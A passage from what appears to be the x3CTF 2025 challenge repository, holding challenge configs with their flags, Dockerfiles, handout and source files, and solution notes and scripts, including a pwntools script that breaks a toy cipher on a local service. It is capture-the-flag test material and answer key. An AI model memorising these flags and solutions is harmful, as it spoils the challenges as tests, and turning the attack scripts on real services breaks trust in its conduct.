14 | @pytest.mark.parametrize("msg", [b"helo", b'{"get pwned": 1337}'])
15 | @pytest.mark.parametrize("d", [1337, 895])
16 | def test_ecdsa_signature_encoding_decoding(msg: bytes, d: int):
17 | ecdsa = ECDSA(d)
18 | sig = ecdsa.sign(msg)
19 | encoded_sig = encode_signature(sig)
20 | assert ecdsa.verify(decode_signature(encoded_sig.split(".")), msg)
21 |
--------------------------------------------------------------------------------
/crypto/much-vulnerable-machine-3/challenge-src/compose.yaml:
--------------------------------------------------------------------------------
1 | ---
2 | # local only!
3 |
4 | services:
5 | api:
6 | build:
7 | context: ./api
8 | ports:
9 | - "8000:8000"
10 | environment:
11 | - DB_PATH=/tmp/database.db
12 | - ADMIN_PASSWORD=kjfkasjdfkldsaklfjklsadjflksjflkjfljfkl
13 | - FLAG=MVM{sm4l_crt_3xp0nen7s_b4d_l0l}
14 |
--------------------------------------------------------------------------------
/crypto/rubiks-dsa/challenge-src:
--------------------------------------------------------------------------------
1 | challenge-handout
--------------------------------------------------------------------------------
/crypto/rubiks-dsa/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: rubiks-dsa
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - crypto
10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet
11 | author: alex_hcsc
12 | flag: MVM{sp1cy_rUb1k5_ds4}
13 | flagFormat: MVM{...}
14 | description: |
15 | I made a digital signature algorithm based on the Rubik's cube, can you break it?
16 | PS: the solve script might run for a few minutes
17 | hideUntil: "2025-01-25T18:00:00+00:00"
18 | attachments:
19 | - fileName: rubiks-dsa.tar.gz
20 | downloadUrl: /handouts/rubiks-dsa.tar.gz
21 |
22 |
--------------------------------------------------------------------------------
/crypto/sourceless-crypto/challenge-solution/solution.md:
--------------------------------------------------------------------------------
1 | Find out stuff isn't random cuz nonce always += 1
2 |
3 | once you start account for the nonce this is a simple substition cipher respectively not really cipher because theres no real decryption. might as well call it a hash 💀💀💀💀💀💀
4 |
--------------------------------------------------------------------------------
/crypto/sourceless-crypto/challenge-solution/solve.py:
--------------------------------------------------------------------------------
1 | from string import printable
2 |
3 | from pwn import remote
4 |
5 | r = remote("localhost", 1337)
6 |
7 | nonce = 0
8 | r.sendlineafter(b"Operation: ", b"1")
9 | d = r.recvline()
10 | flag = eval(d.replace(b"Flag: ", b""))
11 | dflag = b""
12 |
13 | for c in flag:
14 | dflag += (int(c) ^ nonce).to_bytes(1)
15 | nonce += 1
16 |
17 |
18 | r.sendlineafter(b"Operation: ", b"2")
19 | r.sendlineafter(b"plaintext: ", printable.encode())
20 |
21 | encrypted_text = r.recvline()
22 | eaaaaa = eval(encrypted_text.replace(b"Encrypted plaintext: ", b""))
23 |
24 | eprintable = b""
25 |
26 | for c in eaaaaa:
27 | eprintable += (int(c) ^ (nonce)).to_bytes(1)
28 | nonce += 1
29 |
30 | map = {bytes(e): a for e, a in zip(eprintable, printable)}
31 |
32 | for c in dflag:
33 | print(map.get(bytes(c)), end="")
34 |
--------------------------------------------------------------------------------
/crypto/sourceless-crypto/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12-alpine
2 |
3 | WORKDIR /app
4 |
5 | RUN apk update --no-cache && apk upgrade --no-cache && apk add socat --no-cache
6 |
7 | COPY chall.py /app
8 |
9 | ENTRYPOINT socat tcp-l:1337,fork,reuseaddr exec:/app/chall.py
--------------------------------------------------------------------------------
/misc/count-the-mvms/challenge-solution/mvm_pattern.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/count-the-mvms/challenge-solution/mvm_pattern.png
--------------------------------------------------------------------------------
/misc/count-the-mvms/challenge-solution/solution.md:
--------------------------------------------------------------------------------
1 | # count-the-mvms
2 |
3 | First, extract the images:
4 | `pdfimages -all certificate_SAMPLE_TEAM.pdf`
5 |
6 | Open the resulting image and save an MVM pattern in `mvm_pattern.png`.
7 |
8 | Run the solve script to find all of the matches for the pattern.
9 |
10 | Add 3 to the number ("x3CTF x MVM" + MVM logo + "mvm organizer") + any additional mvms in team name.
11 |
12 | You should get 9336.
13 |
14 | Get the MD2 of "9336" and bake the flag: `x3c{th3r3_4re_9336_MVMs_1n_my_c3rtif1cat3_2931355ee608d35463f2ef7847474858}`
--------------------------------------------------------------------------------
/misc/count-the-mvms/challenge-solution/solve_script.py:
--------------------------------------------------------------------------------
1 | from PIL import Image
2 |
3 | pat_mvm = Image.open("mvm_pattern.png")
4 | pat_mvm_p = pat_mvm.load()
5 | im = Image.open("000.jp2")
6 | pix = im.load()
7 | width, height = im.size
8 | mvm_count = 0
9 | mvms = []
10 |
11 | for h in range(height-30):
12 | print(f"Checking: {(h*100)//(height-31)}%")
13 | for w in range(width-11):
14 | ok=True
15 | for x in range(1,30):
16 | for y in range(11):
17 | if pix[(w+x,h+y)] != pat_mvm_p[(x,y)]:
18 | ok=False
19 | break
20 | if not ok:
21 | break
22 | if ok:
23 | last_ok_w = w
24 | mvm_count += 1
25 | mvms.append((w,h))
26 |
27 | print(f"Counted {mvm_count} mvms!")
28 |
--------------------------------------------------------------------------------
/misc/foundations/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: foundations
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 | - osint
10 |
11 | difficulty: easy # Must be one of baby/easy/medium/hard/leet
12 | author: rebane2001
13 | flag: x3CTF{m4yb3_w3ll_m4ke_4_ch4ll3nge_0u7_0f_7h1s}
14 | flagFormat: x3CTF{...}
15 | description: |
16 | I wonder what the first ever x3CTF flag was...
17 |
18 | Note: The flag format on this challenge is slightly different because we can't go back to 2024 and change it. This challenge does not require any active attacks.
19 |
--------------------------------------------------------------------------------
/misc/hydraulic-press/challenge-solution/go.mod:
--------------------------------------------------------------------------------
1 | module x3c/comp_solve
2 |
3 | go 1.23.4
4 |
--------------------------------------------------------------------------------
/misc/hydraulic-press/challenge-src/go.mod:
--------------------------------------------------------------------------------
1 | module x3c/comp_gen
2 |
3 | go 1.23.4
4 |
--------------------------------------------------------------------------------
/misc/hydraulic-press/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: hydraulic-press
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 |
10 | difficulty: easy # Must be one of baby/easy/medium/hard/leet
11 | author: rdx4.2
12 | flag: x3c{nesting_is_fun_IDOWxzs3}
13 | flagFormat: x3c{...}
14 | description: |
15 | Just decode and decompress this a couple of times and get the flag! Might contain some padding :3
16 | attachments:
17 | - fileName: hydraulic-press.tar.gz
18 | downloadUrl: /handouts/hydraulic-press.tar.gz
19 |
--------------------------------------------------------------------------------
/misc/mvm/challenge-solution/solution.md:
--------------------------------------------------------------------------------
1 | take the file, do data.replace("M", "0").replace("V", "1"), then thats binary, 8 bytes = 1 byte of ascii, then thats brainfuck and you execute that
2 |
--------------------------------------------------------------------------------
/misc/mvm/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: mvm
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - misc
10 | difficulty: baby # Must be one of baby/easy/medium/hard/leet
11 | author: mvm
12 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration
13 | flag: MVM{MVM_BRAIN_IS_FUCKED_MVM}
14 | flagFormat: MVM{...}
15 | description: |
16 | This MVM is fucking with my brain...
17 | attachments:
18 | - fileName: mvm.tar.gz
19 | downloadUrl: /handouts/mvm.tar.gz
20 |
--------------------------------------------------------------------------------
/misc/omnibius/challenge-handout/519814-omnibious-pocket-computer-rev1-0.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-handout/519814-omnibious-pocket-computer-rev1-0.pdf
--------------------------------------------------------------------------------
/misc/omnibius/challenge-handout/dump.rom:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-handout/dump.rom
--------------------------------------------------------------------------------
/misc/omnibius/challenge-solution/dump.rom:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/omnibius/challenge-solution/dump.rom
--------------------------------------------------------------------------------
/misc/omnibius/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: omnibius
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 |
10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet
11 | author: rebane2001
12 | flag: x3c{v3ry_r3duc3d_1n57ructi0n_537}
13 | flagFormat: x3c{...}
14 | description: |
15 | I found an old game cartridge for an obscure video game console at a yard sale. I don't have the console, but I found a PDF online describing the hardware. Could you help me get the game running?
16 | attachments:
17 | - fileName: omnibius.tar.gz
18 | downloadUrl: /handouts/omnibius.tar.gz
19 |
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.8-slim-buster
2 |
3 | WORKDIR /python-docker
4 |
5 | COPY requirements.txt requirements.txt
6 | RUN pip3 install -r requirements.txt
7 |
8 | COPY . .
9 |
10 | CMD [ "python3", "-m" , "flask", "run", "--host=0.0.0.0"]
11 |
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/MonsieurLaDoulaise-Regular.ttf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/MonsieurLaDoulaise-Regular.ttf
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/mvm_pattern.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/mvm_pattern.png
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/requirements.txt:
--------------------------------------------------------------------------------
1 | pillow==10.3.0
2 | requests==2.32.3
3 | Flask==3.0.3
4 |
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/vvv_pattern.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/vvv_pattern.png
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/wvw_pattern.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/wvw_pattern.png
--------------------------------------------------------------------------------
/misc/p11n-trophy/challenge-src/x3_transparent.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/p11n-trophy/challenge-src/x3_transparent.png
--------------------------------------------------------------------------------
/misc/redacted/challenge-handout/how_to_check.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-handout/how_to_check.png
--------------------------------------------------------------------------------
/misc/redacted/challenge-handout/readme.txt:
--------------------------------------------------------------------------------
1 | The challenge is in redacted.zip
2 |
3 | Note: Sometimes our web server has some weird issue for some reason and the zip file is broken - if this happens please ask for support from one of our on-call staff. Check the how_to_check.png image to figure out how to tell if someone is on-call.
--------------------------------------------------------------------------------
/misc/redacted/challenge-handout/redacted.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-handout/redacted.zip
--------------------------------------------------------------------------------
/misc/redacted/challenge-solution/c1b53be672aac192a996.woff2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-solution/c1b53be672aac192a996.woff2
--------------------------------------------------------------------------------
/misc/redacted/challenge-solution/corrected.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/redacted/challenge-solution/corrected.png
--------------------------------------------------------------------------------
/misc/redacted/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: redacted
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 |
10 | difficulty: hard # Must be one of baby/easy/medium/hard/leet
11 | author: rebane2001
12 | flag: x3c{b3c4u5e_p1x3l4710n_w0uldv3_b33n_2oo_e4sy_afdsjhsdf}
13 | flagFormat: x3c{...}
14 | description: |
15 | We put the challenge in a zip file and redacted it.
16 |
17 | Note: This challenge is fully solvable both on Windows and Linux, although it's slightly easier on the former.
18 | attachments:
19 | - fileName: redacted.tar.gz
20 | downloadUrl: /handouts/redacted.tar.gz
21 |
--------------------------------------------------------------------------------
/misc/secure-snek/challenge-handout/main.py:
--------------------------------------------------------------------------------
1 | def encrypt(data: str, a: int, b: int, seed: int = None) -> str:
2 | ...
3 |
4 | def get_data() -> tuple:
5 | msg = input('Enter a message you want to encrypt:\n')
6 | print('Enter two or three parameters: a, b, seed separataed by spaces (a >= 0, b >= 0, seed is optional):')
7 | y = input().split()
8 | a, b = map(int, y[:2])
9 | seed = int(y[2]) if len(y) == 3 else None
10 | return msg, a, b, seed
11 |
12 |
13 | if __name__ == '__main__':
14 | from auth import *
15 | print('Here is the encrypted flag: {}\n'.format(encrypt('MVM{FLAG_GOES_HERE}', 3, 8)))
16 | print('You may encrypt messages. Your messages must consist of only printable ascii characters and no spaces!')
17 |
18 | while True:
19 | try:
20 | x = get_data()
21 | except:
22 | print('There was an error with your data, please try again')
23 | continue
24 | try:
25 | encrypted = encrypt(*x)
26 | print(f'Encrypted message: {encrypted}\n' + '-'*50)
27 | except:
28 | print('Error! Please try again.')
--------------------------------------------------------------------------------
/misc/secure-snek/challenge-handout/output.txt:
--------------------------------------------------------------------------------
1 | Here is the encrypted flag: 0`H@CffbsYC`/jW'?>UB6Jw
2 |
--------------------------------------------------------------------------------
/misc/secure-snek/challenge-src/__pycache__/auth.cpython-312.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/misc/secure-snek/challenge-src/__pycache__/auth.cpython-312.pyc
--------------------------------------------------------------------------------
/misc/secure-snek/challenge-src/auth_orig.py:
--------------------------------------------------------------------------------
1 | import random
2 |
3 |
4 | def check_bad_params(a, b):
5 | return a < 0 or b < 0
6 |
7 |
8 | def encrypt(data: str, a: int, b: int, seed: int = None):
9 | from string import printable
10 |
11 | if check_bad_params(a, b):
12 | print('a and b must be non-negative integers')
13 | raise ValueError('a and b must be non-negative integers')
14 |
15 | if seed is None:
16 | seed = random.randint(1, 10**4)
17 |
18 | abc = list(printable[:-6])
19 | random.Random(seed).shuffle(abc)
20 | m = len(abc)
21 | s = ''
22 | for c in data:
23 | s += abc[(abc.index(c) + a) % m]
24 | t = (a+b, a)
25 | a = t[0]
26 | b = t[1]
27 | return s
28 |
29 | globals()['check_bad_params'] = check_bad_params
30 | globals()['encrypt'] = encrypt
31 |
--------------------------------------------------------------------------------
/misc/secure-snek/challenge-src/main.py:
--------------------------------------------------------------------------------
1 | def encrypt(data: str, a: int, b: int, seed: int = None) -> str: ...
2 |
3 |
4 | def get_data() -> tuple:
5 | msg = input("Enter a message you want to encrypt:\n")
6 | print(
7 | "Enter two or three parameters: a, b, seed separataed by spaces (a >= 0, b >= 0, seed is optional):"
8 | )
9 | y = input().split()
10 | a, b = map(int, y[:2])
11 | seed = int(y[2]) if len(y) == 3 else None
12 | return msg, a, b, seed
13 |
14 |
15 | if __name__ == "__main__":
16 | from auth import *
17 |
18 | print(
19 | "Here is the encrypted flag: {}\n".format(
20 | encrypt("MVM{sn3k_n0t_50_53kur3}", 3, 8)
21 | )
22 | )
23 | print(
24 | "You may encrypt messages. Your messages must consist of only printable ascii characters and no spaces!"
25 | )
26 |
27 | while True:
28 | try:
29 | x = get_data()
30 | except:
31 | print("There was an error with your data, please try again")
32 | continue
33 | try:
34 | encrypted = encrypt(*x)
35 | print(f"Encrypted message: {encrypted}\n" + "-" * 50)
36 | except:
37 | print("Error! Please try again.")
38 |
--------------------------------------------------------------------------------
/misc/secure-snek/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: secure-snek
5 | namespace: berg
6 | spec:
7 | categories:
8 | - mvm
9 | - misc
10 | difficulty: medium # Must be one of baby/easy/medium/hard/leet
11 | author: 7o1
12 | # Change to true if your challenge requires a reverse shell or other form of data exfiltration
13 | flag: MVM{sn3k_n0t_50_53kur3}
14 | flagFormat: MVM{...}
15 | description: |
16 | snek do be very secure
17 | hideUntil: "2025-01-25T18:00:00+00:00"
18 | attachments:
19 | - fileName: secure-snek.tar.gz
20 | downloadUrl: /handouts/secure-snek.tar.gz
21 |
--------------------------------------------------------------------------------
/misc/trophy-plus/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: trophy-plus
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 | - cert
10 | difficulty: baby # Must be one of baby/easy/medium/hard/leet
11 | author: shadowcone
12 | allowOutboundTraffic: false
13 | flag: x3c{i_d1dn't_kn0w_mvm_c0uld_be_us3d_f0r_b1n4ry_3nc0d1ng_l0l}
14 | flagFormat: x3c{...}
15 | description: |
16 | We got a little bored, so we hid another flag in the personalized certificate of participation for you. Good luck hunting ^_^!
17 | Note: You'll need the certificate from p11n-trophy for this challenge 😉
18 |
--------------------------------------------------------------------------------
/misc/trophy-plus64/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: berg.norelect.ch/v1
2 | kind: Challenge
3 | metadata:
4 | name: trophy-plus64
5 | namespace: berg
6 | spec:
7 | categories:
8 | - misc
9 | - cert
10 | difficulty: easy # Must be one of baby/easy/medium/hard/leet
11 | author: shadowcone
12 | allowOutboundTraffic: false
13 | flag: x3c{mu5t_b3_fun_typ1ng_th1s_by_h4nd_1375105304248361}
14 | flagFormat: x3c{...}
15 | description: |
16 | We got a little bored, so we hid another flag in the personalized certificate of participation for you. Good luck hunting ^_^!
17 | Note: You'll need the certificate from p11n-trophy for this challenge 😉
18 |
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM docker.io/library/ubuntu:oracular
2 |
3 | RUN useradd -m -d /home/ctf -s /bin/false ctf && \
4 | chown -R root:root /home/ctf && \
5 | chmod -R 555 /home/ctf
6 |
7 | COPY dev_null /home/ctf/dev_null
8 | COPY flag.txt /home/ctf/flag.txt
9 | COPY ynetd /home/ctf/ynetd
10 |
11 | RUN chmod 555 /tmp && \
12 | chmod 555 /var/tmp && \
13 | chmod 555 /dev && \
14 | chmod 555 /run
15 |
16 | USER ctf
17 | WORKDIR /home/ctf
18 |
19 | EXPOSE 1337
20 |
21 | CMD ["/bin/sh", "-c", "/home/ctf/ynetd -p 1337 /home/ctf/dev_null -se y"]
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-handout/dev_null:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-handout/dev_null
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-handout/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | app:
3 | build:
4 | context: .
5 | dockerfile: Dockerfile
6 | ports:
7 | - "1337:1337"
8 | networks:
9 | - ctf_dev_null
10 |
11 | networks:
12 | ctf_dev_null:
13 |
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-handout/flag.txt:
--------------------------------------------------------------------------------
1 | MVM{?????????????????????????????????????????}
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-handout/ynetd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-handout/ynetd
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM docker.io/library/ubuntu:oracular
2 |
3 | RUN useradd -m -d /home/ctf -s /bin/false ctf && \
4 | chown -R root:root /home/ctf && \
5 | chmod -R 555 /home/ctf
6 |
7 | COPY dev_null /home/ctf/dev_null
8 | COPY flag.txt /home/ctf/flag.txt
9 | COPY ynetd /home/ctf/ynetd
10 |
11 | RUN chmod 555 /tmp && \
12 | chmod 555 /var/tmp && \
13 | chmod 555 /dev && \
14 | chmod 555 /run
15 |
16 | USER ctf
17 | WORKDIR /home/ctf
18 |
19 | EXPOSE 1337
20 |
21 | CMD ["/bin/sh", "-c", "/home/ctf/ynetd -p 1337 /home/ctf/dev_null -se y"]
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-src/dev_null:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-src/dev_null
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-src/docker-compose.yml:
--------------------------------------------------------------------------------
1 | services:
2 | app:
3 | build:
4 | context: .
5 | dockerfile: Dockerfile
6 | ports:
7 | - "1337:1337"
8 | networks:
9 | - ctf_dev_null
10 |
11 | networks:
12 | ctf_dev_null:
13 |
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-src/flag.txt:
--------------------------------------------------------------------------------
1 | MVM{r0p_4nd_sh3llc0d3_f0rm5_4_p3rf3c7_b4l4nc3}
--------------------------------------------------------------------------------
/pwn/devnull-as-a-service/challenge-src/ynetd:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/devnull-as-a-service/challenge-src/ynetd
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | COPY pwny-heap /pwny-heap
6 |
7 | COPY flag.txt /flag.txt
8 |
9 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""]
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-handout/flag.txt:
--------------------------------------------------------------------------------
1 | MVM{fake_flag}
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-handout/libc-2.35.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-handout/libc-2.35.so
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-handout/pwny-heap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-handout/pwny-heap
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-solution/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | COPY pwny-heap /pwny-heap
6 |
7 | COPY flag.txt /flag.txt
8 |
9 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""]
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-solution/flag.txt:
--------------------------------------------------------------------------------
1 | MVM{pwnpope_is_mining_xmr_on_your_machine_for_the_vatican}
2 |
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-solution/libc-2.35.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-solution/libc-2.35.so
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-solution/pwny-heap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-solution/pwny-heap
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-src/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | COPY pwny-heap /pwny-heap
6 |
7 | COPY flag.txt /flag.txt
8 |
9 | RUN chmod 555 /pwny-heap
10 |
11 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./pwny-heap\""]
12 |
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-src/flag.txt:
--------------------------------------------------------------------------------
1 | MVM{pwnpope_is_mining_xmr_on_your_machine_for_the_vatican}
2 |
--------------------------------------------------------------------------------
/pwn/pwny-heap/challenge-src/pwny-heap:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/pwny-heap/challenge-src/pwny-heap
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-handout/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:24.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | RUN useradd -ms /bin/ls flag
6 |
7 | WORKDIR /app/
8 |
9 | COPY ./chall /app/chall
10 | COPY ./flag /app/flag
11 |
12 | USER flag
13 |
14 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""]
15 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-handout/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-handout/chall
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-handout/flag:
--------------------------------------------------------------------------------
1 | MVM{Fake_Flag}
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-solution/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:24.04
2 |
3 | RUN apt update && apt install -y socat
4 |
5 | RUN useradd -ms /bin/ls flag
6 |
7 | WORKDIR /app/
8 |
9 | COPY ./chall /app/chall
10 | COPY ./flag /app/flag
11 |
12 | USER flag
13 |
14 | ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./chall\""]
15 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-solution/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc -o chall main.c -lseccomp -static -no-pie
3 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-solution/chall:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/x3ctf/challenges-2025/b58889e47d087c84a18cebfeff975cbf0f5e759c/pwn/secure-sandbox/challenge-solution/chall
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-solution/flag:
--------------------------------------------------------------------------------
1 | █▀▀▀▀▀█ ▀█▀▀ ▀█▄▀█▄▄▀█ █ █▀▀▀▀▀█
2 | █ ███ █ ▀▀█ ▄ ▄██▄██▄█ █ ███ █
3 | █ ▀▀▀ █ ▀▄█▀▄██ ▄▀▀▀▄█▄▄ █ ▀▀▀ █
4 | ▀▀▀▀▀▀▀ █ █▄▀▄▀ ▀▄█ ▀ ▀▄▀ ▀▀▀▀▀▀▀
5 | ▄▄▄█▀▄ ▄▀▀▄▀▄▄▄ █ ▀█▀▄▀▄█ █▄▀
6 | ▀▀ ██▀▄█ ▄▄ ▄█▄█ ▄ ▀▄ ▀▀ ▄▄▀▄ ▄
7 | █ ▀█▀▀▀▄▀█▄▀▄▀██▄▄▀█ ▀█▀ ▄█▀▀▄▄
8 | ▄█ ▀▀▀▀▄███ ▄▄▀▄▀ ▀▄ ▀▄▄ ▄▄ ▄██▄
9 | ▄▀▀ ▄█▀██▀ █▀▄█ ▄▀▄ ▀██▀█ ▄▀█ ██
10 | ▀ ▄ ▀ ▀▀██▀ █▀ ███▄▀ ██ ▄▄█▄███
11 | █▀▄▀██▀▀█▄ █ ▀▄█ █▀▄ ▄█ ▄▀███▀█▀
12 | █ █ ▀█▄ ▄ ▀███▀ ▀▄ ▄▄█ ▀▀▄█▄
13 | ▀▀▀ ▀▀█▄▀█ █ ▀█▀█▄█▄▄██▀▀▀█ ▄▀▀
14 | █▀▀▀▀▀█ ▄▄█▄█ ██▀▀ ██▄█▀█ ▀ █▄██
15 | █ ███ █ ▄▄▄▄ █▀▄█▄█▀█▀▄▀█▀▀▀ █▀
16 | █ ▀▀▀ █ ▄▀▀▄█▄ █ ▀ ▄▄ ▀ █▄█▀▀
17 | ▀▀▀▀▀▀▀ ▀▀▀▀▀▀▀ ▀ ▀ ▀▀▀▀▀ ▀ ▀
18 |
--------------------------------------------------------------------------------
/pwn/secure-sandbox/challenge-solution/solve.py:
